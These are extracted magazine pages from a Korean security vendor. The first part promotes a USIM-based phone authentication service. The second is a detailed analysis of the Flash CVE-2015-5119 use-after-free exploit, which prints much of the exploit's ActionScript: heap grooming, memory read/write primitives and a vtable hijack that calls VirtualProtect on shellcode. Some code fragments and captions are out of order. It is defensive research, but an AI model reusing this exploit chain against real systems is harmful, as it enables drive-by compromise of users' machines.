의 불편을 야기할까 우려되고 무엇보다 서비스 구축 자체도 쉽지 않다는 것이 걸림돌이다. 이에 안랩이 새로 출시하는 ‘안랩 간편인증’

에 기대가 모아지고 있다. 월간 안을 통해 ‘안랩 간편인증’을 미리 만나보자.

안랩 간편인증

추가 인증, ‘간편’하니 좋지 아니한가

USIM 기반의 추가 인증 서비스 ‘안랩 간편인증’ 출시

사용자

유모씨

“스마트폰으로 회원 가입하기가 왜 이렇게 어

렵나요? 이것저것 다 ‘동의’하고 가까스로 본인

확인까지 왔더니 이번엔 문자로 뭔 번호를 받

아서 또 입력하라고 하고…막상 본인인증까지

하고 보니 벌써 다른 사람이 내 명의로 회원 가

입 해서 포인트도 사용하고 있다네요. 어떻게

이런 게 가능한 거죠?”

카드사

보안

관리자

박모씨

“추가 인증을 필수로 적용해야 하는데 SMS나

ARS 방식은 보안에 취약하다고 하고…그렇다

고 보안이 강화된 새로운 기술을 적용하려니

구축 작업이 만만치 않고 사용도 복잡해서 고

객들 항의가 이어질게 불 보듯 뻔해 여간 곤혹

스러운 게 아닙니다.”

첫 번째 사례는 얼마 전 모 예능 프로그램에서 방송된 내용을 재구성

한 것이다. 실제로 사용자들은 모아놓은 포인트를 쓸 때도 복잡한 본

인인증을 거쳐야 한다. 그런데 복잡한 과정을 거쳐 본인 확인을 했는

데도 이미 누군가 내 명의로 버젓이 회원 가입을 하고 포인트까지 사

용하고 있다면 억울하지 않을 수 없다. 이 억울한 속풀이 대상은 대부

분 카드사 등 서비스 제공 업체가 된다.

그러나 기업의 억울함도 만만치 않다. 안전한 전자 금융 거래를 위해

본인인증 방식을 적용하고는 있지만 사용하기도 번거롭고 본인이 아

니어도 본인인증을 할 수 있다는 맹점이 존재한다. 또한 전자금융거

래법에 따라 기업의 전산망 침해에 의한 경우뿐만 아니라 개인이 사

용하는 단말기가 해킹되어 발생하는 금융 사고도 기업에 책임을 묻기

때문에 본인인증은 기업으로서도 여간 까다로운 게 아니다. 최근 사

용자 편의성을 강화한 USIM 기반의 추가 인증 솔루션이 늘고 있기는

하지만 솔루션 구축이 복잡해 기업의 고민은 계속되고 있다.

Page 14: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

14

더 강력한 보안은 기본, 구축 용이성까지

추가 인증에 따른 사용자의 불편과 기업의 부담을 해결하기 위해 안

랩이 USIM 기반의 추가 인증 서비스 ‘안랩 간편인증’을 출시한다. 안

랩은 올해 초 통신 3사와 MOU를 맺고 스마트폰 USIM(Universal

Subscriber Identification Module) 기반의 사용자 단말 점유인증을

통한 새로운 추가 인증 서비스를 개발해왔다.

안랩 간편인증은 안랩의 강력한 보안모듈과 USIM, 그리고 통신사의

단말정보를 활용한 새로운 인증 서비스이다. 온라인 결제 과정에서

추가 인증 단계에서 서비스 회사가 사용자 인증을 요청하면 안랩이

구축한 간편인증 서비스를 통해 사용자 스마트폰의 USIM 칩 내에 저

장된 정보와 단말기 정보가 통신사에 정상적으로 등록된 명의 및 기

기 정보와 일치하는지 확인 후 인증 결과값을 제공한다. 사용자의 명

의로 등록된 기기 정보와 매칭하여 본인인증을 하기 때문에 앞서 언

급한 사례에서처럼 다른 사람이 사용자의 명의로 회원 가입을 하거나

포인트를 사용하는 것은 사실상 불가능하다.

[그림 1]과 같이 '다자간 상호인증 방식'으로 구성되어 있어 정보 유출

위협을 최소화하고 높은 신뢰성을 제공한다. 서버와 단말간 모든 메

시지가 키쌍으로 암호화되어 있으며, 한 번의 트랜잭션에 대한 제한

시간(Time Limit) 값을 갖고 있다. 따라서 가로채기를 통한 변조, 특

히 제한 시간 내에 변조가 어려운 구조이기 때문에 인증의 안전성을

제공한다. 또한 보호 대상인 데이터에 대한 추측이나 임의의 비밀번

호 생성이 가능한 일반적인 일회용 비밀번호(OTP) 방식과 달리 보안

1등급 매체인 USIM을 기반으로 한 안랩 간편인증은 USIM 내에 안전

하게 키를 저장 및 관리하기 때문에 키 유출 등의 우려가 없다.

이처럼 강력한 보안성을 제공하는 반면 안랩 간편인증의 설치 및 이

용은 매우 간단하다. 안드로이드 스마트폰에 설치되어 있는 금융거래

전용 보안 솔루션인 안랩 V3 Mobile Plus에 추가 기능으로 제공되기

때문에 간단한 인터페이싱 작업 외에는 별도의 구축 및 개발 작업이

필요하지 않다. 안랩 V3 Mobile Plus는 국내 주요 금융사의 서비스에

연동되어 있으며 현재 약 3,700 만 명의 스마트폰 금융거래 사용자들

이 이용하고 있어 신속한 서비스 적용이 가능하다는 것도 장점이다.

주요 카드사 등 안랩 간편인증 서비스에 이목 집중

국내 주요 은행 및 카드사 등이 더 안전하고 편리한 추가 인증 방식

도입을 고민하고 있는 가운데, 삼성카드가 안랩 간편인증을 도입해

카드업계 최초로 스마트폰 기반의 인증 방식을 추가로 제공할 예정이

다. 이로써 삼성카드 고객들은 기존 SMS, ARS 인증 방식 외에도 안

랩 간편인증을 선택해 사용할 수 있게 된다. 삼성카드는 안랩 간편인

증 서비스를 우선 삼성카드 전자지갑 서비스인 m포켓 및 앱카드 등

록 시 본인인증 절차에 적용하고 차츰 본인인증이 필요한 다양한 서

비스 영역으로 확대해 나갈 예정이다.

안랩은 향후 카드, 은행, 증권, 결제, 쇼핑 등 본인 인증이 필요한 다

양한 영역에 “안랩 간편인증”을 제공할 수 있을 것으로 기대하고 있다.

[그림 1] 안랩 간편인증 동작 방식 [그림 2] 안랩 간편인증 (안드로이드용 및 아이폰용)

원터치로 쉽고 간편한 사용자 추가 인증

안랩 간편인증은 서비스 도입의 편의성뿐만 아니라 사용자 편의성이

극대화된 솔루션이다. 강력한 보안 방식을 적용하는 대신 인증 단계

는 대폭 간소화했기 때문이다. 길고 복잡한 개인정보를 입력하고 인

증코드를 확인하여 직접 입력하던 기존 방식과 달리 안랩 간편인증은

한 번의 터치만으로 사용자 인증이 가능하다.

마찬가지로 안랩 V3 Mobile Plus가 설치되어 있는 안드로이드 스마

트폰 이용자라면 별도의 앱 설치 없이 안랩 간편인증을 이용해 추가

인증이 가능하다. 단, 아이폰 사용자는 앱 스토어에서 ‘안랩 간편인증’

앱을 설치한 후 이용할 수 있으며, 안랩 V3 Mobile Plus가 설치되어

있지 않은 안드로이드 스마트폰이라면 마찬가지로 V3 Mobile Plus

2.0을 설치하고 간단한 초기 설정을 한 후 이용할 수 있다.

14

Page 15: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

15

A N T I - E X P L O I T CVE-2015-5119

지난 7월 초, 세계 각국에 도·감청용 스파이웨어(Spyware)를 판매해 온 이탈리아 업체 ‘해킹팀(Hacking Team)’의 자료가 유출되는

사건이 발생했다. 이 사건으로 다수의 어도비 플래시 플레이어(Adobe Flash Player) 취약점이 세간의 주목을 받게 되었다. 이 사건을

통해 알려진 플래시 플레이어 제로데이 취약점은 이후 북한, 중국, 러시아 등지의 해킹 조직들의 사이버 공격에 이용되기 시작했다.

이 글에서는 해킹팀의 정보 유출 사건으로 알려진 플래시 플레이어 제로데이 취약점인 CVE-2015-5119 취약점 익스플로잇 원리를

상세히 알아본다.

이탈리아 업체 ‘해킹팀’의 정보 유출 사건으로 어도비 플래시 플레이

어의 AS3 ByteArray 클래스에서 발견된 UAF(Use-After-Free) 취약

점이 세상에 알려졌다. UAF는 플래시 플레이어가 ByteArray 버퍼를

부적절하게 사용하여 발생하는 취약점으로, 이를 통해 공격자는 웹사

이트를 조작해 사용자가 웹사이트에 속할 때 악성코드가 자동으로 설

치되도록 할 수 있다.

해당 취약점은 윈도우용 플래시 플레이어뿐만 아니라 맥, 리눅스용

버전에도 존재한다. 또한 인터넷익스플로러(Internet Explorer, IE)

를 비롯해 최신 브라우저인 IE 엣지(Edge), 크롬(Chrome), 사파리

(Safari), 파이어폭스(Firefox) 등 다양한 브라우저에 영향을 끼치는 것

으로 알려졌다.

취약점 발생 모듈, 영향 받는 프로그램 등 CVE-2015-5119 취약점의

주요 내용은 다음과 같다.

어도비 플래시 플레이어 UAF 취약점 CVE-2015-5119

해킹팀과 함께 드러난 제로데이의 ‘실체’

취약점 정보 (CVE Reference)

■ 취약점명: CVE-2015-5119■ 관련 자료: http://cve.mitre.org/cgi-bin/cvenamecgi?name =CVE-2015-5119■ 취약점 발생 모듈

- 모듈명: Flash32_18_0_0_194.ocx - 버전: 18.0.0.194 - 개요: Bytearray 오브젝트 파싱 모듈

■ 영향 받는 프로그램 버전 및 OS

- Adobe Systems Flash Player 11.2.202.468 및 이전 버전 -

Linux - Adobe Systems Flash Player 18.0.0.194 및 이전 버전 -

Windows 및 Mac - Adobe Systems Flash Player 확장 지원 릴리스(Extended Support Release) 13.0.0.296 및 이전 버전 - Windows 및 Mac

취약점 발생 원인

어도비 플래시 플레이어는 액션스크립트(ActionScript) 내에서

ByteArray를 선언하고, 다음과 같이 ByteArray에 오브젝트를 저장할

수 있다.

var ba:ByteArray = new ByteArray();

ba.length = 8;

ba[1] = 1;

var obj = new MyClass();

ba[offset] = obj; // valueOf 메소드 호출

[그림 1] ByteArray 선언과 ByteArray에 오브젝트 저장

위와 같이 ByteArray에 오브젝트를 저장하는 경우, 오브젝트 클래스

에 기본적으로 내장되어 있는 MyClass.valueOf() 메소드가 호출되어

MyClass 오브젝트를 숫자(Numeric) 값으로 변경시킨다. 이 메소드

는 사용자가 다음과 같이 재정의할 수 있다.

class MyClass

{

prototype.valueOf = function()

{

ba.length = 88; // ByteArray ba 재할당

return 0; // Numeric 값 리턴

}

}

[그림 2] valueOf 메소드 재정의

Page 16: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

16

위의 코드는 아래와 같이 메모리에 저장된다.

ByteArray는 0xfa0 크기로 선언되었지만 실제 메모리 상에서는

0x1000 만큼 할당되어 있다. 또한 MyClass2 클래스가 할당되어 있

는 메모리에는 클래스 기본 정보들과 실제 데이터(0x11223344)가

함께 저장되어 있다.

2. 취약점 발생 이후 메모리 레이아웃

앞서 살펴본 바와 같이 ByteArray에 MyClass 클래스가 할당된다.

for(i=alen-5; i >= 0; i-=3)

{

// take next allocated ByteArray

_ba = a[i];

// call valueOf() and cause UaF memory corruption

_ba[3] = new MyClass();

// _ba[3] should be unchanged 0

logAdd("_ba[3] = " + _ba[3]);

if (_ba[3] != 0) throw new Error("can't cause UaF");

………

var alen:int = 90; // should be multiply of 3

var a = new Array(alen);

if (_gc == null) _gc = new Array();

gc.push(a); // protect from GC // for RnD

// try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ]

for(var i:int; i < alen; i+=3){

a[i] = new MyClass2(i);

a[i+1] = new ByteArray();

a[i+1].length = 0xfa0;

// 메모리 확인을 위해 코드 추가

a[i+1][0] = i+1;

a[i+1][1] = 0;

a[i+1][2] = 0;

a[i+1][3] = 0;

for(var t:int=4; t<0xfa0; t++) {

a[i+1][t] = 0x44;

} v

a[i+2] = new MyClass2(i+2);

}

위와 같이 valueOf 메소드 내에서 ByteArray의 길이(length)를 재

지정할 때 ByteArray를 위해 할당된 메모리가 다른 주소에 재할

당되는 경우가 있다. 이때 valueOf 메소드의 리턴값이 저장되는

“ba[offset]”의 주소도 새로 할당되는 곳의 메모리 주소로 변경되어

야 하는데, 그렇지 않고 기존의 메모리 주소에 그대로 저장되면서

UAF 취약점이 발생하였다.

익스플로잇 동작 원리 상세 분석

1. 메모리 레이아웃

상세 분석을 위해 이용한 샘플 파일은 다음과 같이 두 개의

MyClass2 클래스 사이에 0xfa0 크기의 ByteArray를 선언한다. 이

패턴을 30번 반복하여 메모리 공간을 채워둔다. 위의 분석 환경에서

는 한번의 패턴만으로도 정상적으로 익스플로잇이 발생한다.

분석 환경 및 샘플 파일

■OS: Windows XP sp3

■IE 버전: 8.0.6001.18702

■모듈: Flash32_11_4_402_287.ocx (version 11.4.402.287)

■샘플 파일 md5: fc576e3c2065988edaf12a38ed507940

[그림 5] ByteArray에 MyClass 클래스 할당

[그림 3] MyClass2 클래스와 ByteArray 메모리 할당

[그림 4] MyClass2 클래스와 ByteArray 메모리 레이아웃

MyClass 클래스를 ‘_ba[3]’에 할당한 후 ‘_ba[3’]이 0이 아니면 에러

(Error)를 리턴한다. [그림 5]에서MyClass 클래스를 할당한 ‘_ba[3]’

와 ‘if’문 안에서 0과 비교하는 ‘_ba[3]’는 서로 다른 메모리 주소 이

다. 앞서 설명한 것처럼 MyClass 클래스를 할당한 ‘_ba[3]’은 처음

ByteArray가 선언되었을 때의 메모리이고, ‘if’문 안에서 0과 비교하

는 ‘_ba[3’]은 valueOf 메소드 안에서 ByteArray의 크기가 재지정될

때 다시 할당 받은 메모리이다.

[그림 6]은 ByteArray에 MyClass 클래스를 할당할 때 호출되는

valueOf 메소드이다

// define malicious valueOf()

prototype.valueOf = function ()

{

logAdd("MyClass.valueOf()");

_va = new Array(5);

_gc.push(_va); // protect from GC // for RnD

// reallocate _ba storage

_ba.length = 0x1100;

// 메모리 확인을 위해 코드 추가

_ba[0] = 0x64;

_ba[1] = 0;

_ba[2] = 0;

for(var t:int=4; t<0x1100; t++) {

_ba[t] = 0x55;

}

// reuse freed memory

for(var i:int; i < _va.length; i++) {

_va[i] = new Vector.<uint>(0x3f0);

// 메모리 확인을 위해 코드 추가

_va[i][0] = 0x44556677;

_va[i][1] = 0x44556677;

_va[i][2] = 0x44556677;

_va[i][3] = 0x44556677;

_va[i][4] = 0x44556677;

_va[i][5] = 0x44556677;

_va[i][6] = 0x44556677;

_va[i][7] = 0x44556677;

_va[i][8] = 0x44556677;

_va[i][9] = 0x44556677;

Page 17: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

17

[그림 6] valueOf 메소드

예상한 바와 같이 [그림 6]의 valueOf 메모리를 살펴보면 ByteArray

의 크기를 변경하는 코드가 존재한다. 여기에서 중요한 것은 기존에

는 ByteArray의 크기가 0xfa0이었는데 0x1100으로 변경된다는 것

이다. 즉, 앞서 확인한 것처럼 ByteArray의 크기는 0xfa0이었으나 실

제로 할당된 메모리는 0x1000이고 바로 뒤에 MyClass2 클래스에 대

한 메모리가 자리잡고 있다. 이것이 바로 valueOf 메소드에서 메모리

를 0x1100으로 할당한 이유이다. ByteArray 뒤에 MyClass2 클래스

가 위치해 있기 때문에 0x1000보다 크게 해야만 새로운 메모리 공간

에 메모리를 재할당 받을 수 있는 것이다. 0x1000보다 작을 경우에

는 기존에 위치해 있던 메모리에서 크기만 늘어난 형태가 된다.

또한 valueOf 메소드에서 ‘_va‘라는 새로운 벡터가 선언된다.

ByteArray가 새로운 메모리 공간에 재할당되고 ‘_va ’ 벡터는

ByteArray가 원래 있던 공간에 위치하게 된다. valueOf 메소드가 호

출된 이후의 메모리는 [그림 7]과 같다.

[그림 7] valueOf 메소드 호출 이후 메모리 레이아웃

[그림 8] valueOf 메소드 호출 이후 재할당된 ByteArray의 메모리

실제로 valueOf 메소드가 실행된 이후 쉘코드 실행을 위한 코드 부

분이 실행되면 메모리 값들이 변경된다. 따라서 메모리 레이아웃을

공유하기 위해 분석 샘플을 약간 수정하여 valueOf 메소드까지만 실

행되도록 하였다.

[그림 4], [그림 7], [그림 8]의 메모리를 비교해 보면 ByteArray

가 새로운 메모리 공간에 재할당된 것을 확인할 수 있다. 또한 원래

ByteArray가 있던 공간에는 ‘_va[0]’ 벡터가 위치해 있는 것을 알 수

[그림 9] 벡터 구조

[그림 6]에서는 _va[0] 벡터의 크기가 0x3f0으로 선언되었는데 [그

림 7]을 보면 ‘_va[0]’ 벡터의 크기가 0x400003f0이다. 이것이 바로

valueOf 메소드를 이용한 ByteArray의 UAF 공격의 핵심이다. 즉,

[그림 6]에 따르면 valueOf 메소드가 0x40을 리턴값으로 했고, [그림

5]에서 MyClass 클래스를 ByteArray _ba[3]에 할당하였다. 여기에

서 _ba[3]은 재할당되기 전의 메모리이며, 이것은 곧 새로 선언된 _

va[0] 벡터 메모리의 네 번째 바이트 값이다. 결과적으로 _va[0] 벡터

의 사이즈가 0x3f0에서 0x40003f0으로 변경되었고, _va[0]를 통해

0x400003f0 크기의 메모리를 마음대로 컨트롤할 수 있게 되는 것이다.

3. 쉘코드 실행 준비 단계

쉘코드 실행에 앞서 쉘코드 주소 확인, VirtualProtect() 함수의 주소

탐색, 쉘코드가 있는 메모리 공간에 실행 권한 부여 등의 작업을 위해

임의로 컨트롤할 수 있는 벡터 v의 오브젝트와 주소, 벡터 v 이후에

있는 MyClass2 클래스의 주소를 파악해야 한다. 다음과 같은 코드를

통해 이를 확인할 수 있다.

_va[i][10] = 0x44556677;

}

// return one byte for overwriting

return 0x40;

}

// check results // find corrupted vector

for(var j:int=0; j < _va.length; j++){

v = _va[j];

if (v.length != 0x3f0) {

logAdd("v.length = 0x" + v.length.toString(16));

// check the [ MyClass2 ] presence after [ ByteArray ]

var k:int = 0x400 + 70;

if (v[k] == 0x11223344) {

// ok, scroll k to mc.a0

do k-- while (v[k] == 0x11223344);

var mc:MyClass2 = a[v[k]];

mc.length = 0x123;

…………

if (ShellWin32.Init(v, (v[k-4] &

0xfffff000) - 0x1000 + 8, mc, k-4))

ShellWin32.Exec()

else

logAdd("Fail.");

…………….

있다. (단, 위 이미지의 캡쳐 시점이 각각 달라 메모리의 절대 주소는

동일하지 않다.)

[그림 7]에 나타난 ‘_va[0]’ 벡터의 메모리를 확인해보면 다음과 같은

구조로 되어 있음을 알 수 있다.

[그림 10] 쉘코드 실행 준비 단계 코드

Page 18: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

18

// constructor

function MyClass2(id:int)

{

o1 = this;

a0 = id;

for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344;

}

[그림 11] MyClass2 클래스의 생성자

앞서 확인한 것처럼 벡터v의 크기가 0x3f0이 아닌지 판단하는 이유

는 valueOf 메소드가 실행된 이후에 크기가 0x400003f0으로 변경

된 것인지를 다시 한번 확인하기 위함이다. 벡터 v의 0x1000 바이트

다음에는 MyClass2 클래스가 위치하고 있기 때문에 v[0x400+70]에

접근하면 v[0]로부터 (0x400+70)x4 이후의 메모리에 접근할 수 있

다. 이 위치는 MyClass2 클래스의 메모리 공간이 된다. MyClass2 클

래스는 생성자에서 다음과 같이 선언되어 있다.

[그림 12]의 v[k-4] 값은 MyClass2.o1 변수 값으로, ‘this’를 할당

한 값이다. 즉, MyClass2 클래스 오브젝트의 주소로, “(v[k-4] &

0xfffff000) - 0x1000 + 8”를 계산해보면 이것이 v[0]의 주소를 가리

킨다는 것을 알 수 있다.

지금까지 [그림 10]의 코드를 이용해 쉘코드 실행에 필요한 벡터 v, v

의 주소, MyClass2 클래스, 그리고 MyClass2 클래스를 가리키는 벡

터 v의 인덱스 값인 k-4를 획득하는 과정을 살펴보았다. 이로써 쉘코

드를 실행할 준비를 모두 마쳤다.

4. 쉘코드 실행

(1) 주소 획득 및 메모리 접근을 위한 함수

■ GetAddr(obj:Object):uint

특정 오브젝트의 주소를 얻기 위하여 다음과 같은 코드를 사용한다.

한편 [그림 10]의 코드는 MyClass2 클래스 생성자에서 변수에 할당

된 0x11223344와 비교하면서 a0 변수를 찾고 MyClass2 클래스의

오브젝트도 찾는다([그림 12] 참고).

// reads uint from the custom memory address

static function Get(addr:uint):uint

{

if (addr < 0x10000) throw new Error("Get() at addr = " +

Hex(addr)); // bad pointer

return _v[(addr - _vAddr) >>> 2];

}

// writes uint into the custom memory address

static function Set(addr:uint, val:uint)

{

if (addr < 0x10000) throw new Error("Set() to addr = " +

Hex(addr)); // bad pointer

_v[(addr - _vAddr) >>> 2] = val;

}

[그림 14] Get, Set 함수

GetAddr함수에서 _mcOffs 변수는 [그림 12]의 k-4 값과 동일하

며 MyClass2.o1 변수는 벡터 v[k-4] 위치에 존재한다. 이를 이용해

GetAddr 함수는 _mc.o1 변수에 오브젝트를 할당하고, 벡터를 통하

여 그 값과 오브젝트의 주소를 확인할 수 있다.

■ Get(addr:uint):uint, Set(addr:uint, val:uint)

메모리의 값을 확인하고 수정하기 위해 다음 코드를 사용한다.

앞서 벡터 크기를 더 크게 조작해 어느 주소로든 접근 가능하게 되었

기 때문에 메모리의 값을 확인하고 수정하기 위한 벡터를 이용한다.

메모리 접근을 위한 벡터 인덱스로는 (addr-vAddr) >>> 2를 사용한

다. 벡터에는 uint(unsigned int) 형태가 들어가기 때문에 하나의 오

브젝트당 4바이트를 차지한다. 따라서 확인하고자 하는 주소 addr

에서 기준 위치인 vAddr(v[0]의 위치)를 빼고 나누기 4(2비트 Right

shift)를 한 값을 벡터 인덱스로 사용한다.

(2) 쉘코드 주소 획득

쉘코드는 _x32라는 벡터로 정의되어 있다. 위에서 살펴본 것처럼

GetAddr, Get 함수를 이용해 쉘코드의 주소를 확인할 수 있다([그림

15]).

// returns object's address

static function GetAddr(obj:Object):uint

{

_mc.o1 = obj;

return _v[_mcOffs] - 1; // atom decrement

}

[그림 13] GetAddr 함수

[그림 12] 벡터를 이용한 MyClass2 클래스 검색

// get _x32[0] address

var xAddr:uint = GetAddr(_x32);

logAdd("x32[] object = " + Hex(xAddr));

xAddr += _isDbg ? 0x1c : 0x18;

if (Get(xAddr) < 0x10000) xAddr -= 4; // for FP 11.4

xAddr = Get(xAddr) + 8;

logAdd("x32[] data = " + Hex(xAddr));

[그림 15] 쉘코드 주소 획득

벡터의 메모리 구조는 앞서 살펴본 바와 같이 [그림 9]에서 확인할 수

있다. [그림 9]와 같이 x32 의 주소를 구하고 0x18바이트 떨어진 곳

의 주소로부터 또 다시 8바이트 떨어진 곳에 실제 벡터의 값인 쉘코

드가 나열되어 있다.

(3) VirtualProtect() 함수 획득

MyClass2 클래스의 메모리를 살펴보면 [그림 16]과 같이 MyClass2.

o1-12바이트인 곳에 VTable 주소가 있는 것을 확인할 수 있다.

Page 19: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

19

Method.call()를 이용하는 이유는 VirtualProtect()와 같이 인자가 4

개로 모두 동일하고, 함수 인자와 호출할 함수의 포인터를 모두 메모

리 상에서 읽어 들여 사용하기 때문이다. 메모리는 벡터 v를 통해 조

작 가능하다. 따라서 호출할 함수 포인터는 VirtualProtect()의 주소

이며, 인자 또한 해당 메모리의 주소를 찾아서 수정하면 된다.

Method.call()에 대한 어셈블리 코드는 [그림 19]와 같다.

액션스크립트 버추얼 머신(Actionscript Virtual Machine)의 소스

코드는 C++로 개발되어 있기 때문에 기본적으로 thiscall 호출 규

약을 따른다. Method.call()도 thiscall 호출 규약을 따르고 있기

때문에 ECX 레지스터를 통해 FunctionObject가 전달된다. 이후

VirtualProctect()를 호출하는데, 이때 필요한 함수 포인터 주소와 인

자는 모두 ECX가 가리키는 구조체로부터 얻을 수 있다.

■ VirtualProctect() 함수 포인터 주소

앞서 [그림 19]는 EDX의 값으로 함수를 호출하고 있다. 따라서 EDX

의 값이 VirtualProtect() 함수의 주소가 되어야 한다. EDX 값을 추적

하는 과정은 [그림 20]과 같다.

/**

* Function.prototype.call()

*/

Atom FunctionObject::AS3_call(Atom thisArg, Atom *argv, int argc)

{

thisArg = get_coerced_receiver(thisArg);

return core()->exec->call(get_callEnv(), thisArg, argc, argv);

}

[그림 18] Method.call() 소스코드

// find IMAGE_DOS_HEADER

var u:uint, b:uint = _v[_mcOffs-3]; // b = vtable pointer inside dll/exe

b = uint(b & 0xffff0000) - 0x400000 - _vAddr;

for(var i:uint; i < 0x90; i++, b -= 0x10000){

// check 'MZ'

u = b >>> 2;

if (uint(_v[u] & 0xffff) == 0x5a4d) break;

}

if (i >= 0x90) throw new Error("can't find MZ from " + Hex(_v[_mcOffs-3]));

[그림 16] MyClass2 클래스 내의 Vtable

위와 같이 V T a b l e 의 주소를 알 수 있는데, 그 주소는

Flash32_11_4_402_287.ocx 모듈의 .rdata 섹션 내의 주소이다. 이

주소를 통해 다음과 같이 Flash32_11_4_402_287.ocx 모듈의 PE

구조의 시작 시점인 ‘MZ’을 찾아낸다.

[그림 17]의 코드는 모듈이 로드될 때 일반적으로 0xABCD0000와

같은 형식의 주소에 로드된다는 점을 이용하고 있다. VTable 주소의

하위 4바이트를 NULL로 만들기 위해 0xffff0000와 AND 연산한다.

다시 그 값에서 일정 크기만큼 빼서 TEXT 섹션 정도까지 이동한 후

0x10000만큼 빼면서 해당 주소에 있는 값이 ‘MZ’가 맞는지 검색하

는 것이다.

모듈의 PE 구조의 시작 시점을 알았기 때문에 이후 Image_NT_

Headers, Image_Import_Directory를 찾고 Import_Directory_

Table 내에서 Kernel32.dll 모듈을 찾는다. 그 후 Import_Name_

Table에서 Kernel32.dll 내의 VirtualProtect() 함수의 주소를 확인한다.

(4) VirtualProtect() 함수 실행

일반적으로 악성 샘플은 익스플로잇 이후 ROP 체인을 통해 쉘코드

가 저장되어 있는 공간에 실행 권한을 부여한다. 그러나 이번 어도

비 플래시 플레이어의 제로데이 취약점을 이용한 샘플은 ROP 체인

을 이용하지 않는다. 이 샘플은 조작된 인자를 이용해 임의의 메소드

를 실행하고, 그 실행 결과를 제대로 리턴 받기 위해 액션 스크립트

(Action Script) 모듈 내의 Method.call()를 하이재킹(hijacking)한다.

Method.call()의 소스코드는 다음과 같다.

[그림 17] VTable 주소를 통해 MZ 검색

① FunctionObject인 ECX에서

② 8바이트 떨어진 곳의 값을 주소로 한다.

③ ②의 주소에서 20(0x14)바이트 떨어진 곳의 값을 주소로 한다.

④ ③의 주소에서 4바이트 떨어진 곳의 값을 주소로 한다.

⑤ ④의 주소에서 176(0xB0)바이트 떨어진 곳의 값을 주소로 하고,

⑥ ⑤의 주소에 있는 값을 가짜 VTable의 주소로 하고

⑦ 28(0x1C)바이트 떨어진 곳을 수정된 주소로 하면

⑧ 해당 주소는 0x7C7D1AD4로, 이 주소는 VirtualProtect()가 되며

이를 호출한다.

[그림 19] Method.call()의 어셈블리 코드

[그림 20] Method.call()에서 EDX 값 추적

Page 20: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

20

// find vtable pointer in Payload()

var p:uint = GetAddr(Payload); // ← ①

// ②~⑤

var ptbl:uint = Get(Get(Get(Get(p + 8) + 0x14) + 4) + (_isDbg ? 0xbc:0xb0));

// save old pointers

var p1:uint = Get(ptbl);

……

// create copy of vtable

for(var i:uint; i < 0x100; i++) _v[i] = Get(p1-0x80 + i*4);

// redirect one pointer to VirtualProtect()

_v[0x20+7] = vp; // ← ⑦을 위한 수정 (0x27 x 4byte

= 0x9C, 0x9C – 0x80 = 0x1C)

……

// replace vtable pointer in Payload()

Set(ptbl, _vAddr + 0x80); // ← ⑥ 과정을 위해 가짜 VTable

주소로 변경

// call VirtualProtect()

var res = Payload.call.apply(null, args); // ← ⑧

// find vtable pointer in Payload()

var p:uint = GetAddr(Payload);

……

// set first arg for VirtualProtect()

Set(p+0x1c, xAddr); // ⑤ 과정을 위해 쉘코드 주소로 수정

[그림 23] 첫 번째 인자 조작 과정

① FunctionObject인 ECX에서

② 그 주소에 있는 값을 주소로 한다.

③ ②의 주소에서 144(0x90)바이트 떨어진 곳의 값을 주소로 한다.

④ ③의 주소를 함수로 호출한다.

⑤ FunctionObject인 ECX에서 0x1C 떨어진 곳의 값을 스택에 저장

- 0x1C 떨어진 곳을 쉘코드 주소로 수정

⑥ ⑤에서 스택에 저장한 값을 EAX에 저장

⑦ EAX를 스택에 푸시(Push) - 첫 번째 인자

■ VirtualProtect() 함수: 두 번째 인자, 쉘코드의 사이즈

[그림19]를 보면 함수가 호출되기 전에 EBX가 스택에 들어가는 것을

알 수 있다. 이것이 VirtualProtect() 함수의 두 번째 인자로 사용된다.

EBX 값을 추적하는 과정은 [그림 24]와 같다.

■ VirtualProtect() 함수: 첫 번째 인자, 쉘코드의 주소

[그림 19]를 보면 함수가 호출되기 전에 EAX가 스택에 들어간다. 이

것이 VirtualProtect() 함수의 첫 번째 인자로 사용된다. EAX 값은 [그

림 22]와 같은 과정으로 추적할 수 있다.

[그림 21] 가짜 VTable 생성 및 함수 포인터 조작

[그림 24] Method.call()에서 EBX 값 추적

이번 분석에 이용한 샘플은 위와 같은 과정을 위해 다음과 같이

VTable을 복제하고 0x1C 위치의 값을 VirtualProctect() 함수의 주

소로 변경했다. 결과적으로 Payload.call.apply() 호출 시에 [그림 19]

가 실행되고 VirtualProctect() 함수가 실행된다.

결국 EAX 값은 위의 과정 중 ④에서 호출되는 함수에 의해

ECX+0x1C에 있는 값을 VirtualProtect() 함수의 첫 번째 인자로 사

용한다. 이와 같은 내용을 확인하기 위해 이번 분석에 이용한 샘플에

서는 첫 번째 인자를 다음과 같이 변경했다.

① FunctionObject인 ECX에서

② 그 주소에 있는 값을 주소로 한다.

③ ②의 주소에서 140(0x8C)바이트 떨어진 곳의 값을 주소로 한다.

④ ③의 주소를 함수로 호출한다.

⑤ FunctionObject인 ECX에서 0x20 떨어진 곳의 값을 리턴 - 0x20

떨어진 곳을 쉘코드 사이즈로 수정

⑥ ⑤에서 리턴한 값을 EBX에 저장

⑦ EBX를 스택에 푸시(Push) - 두 번째 인자

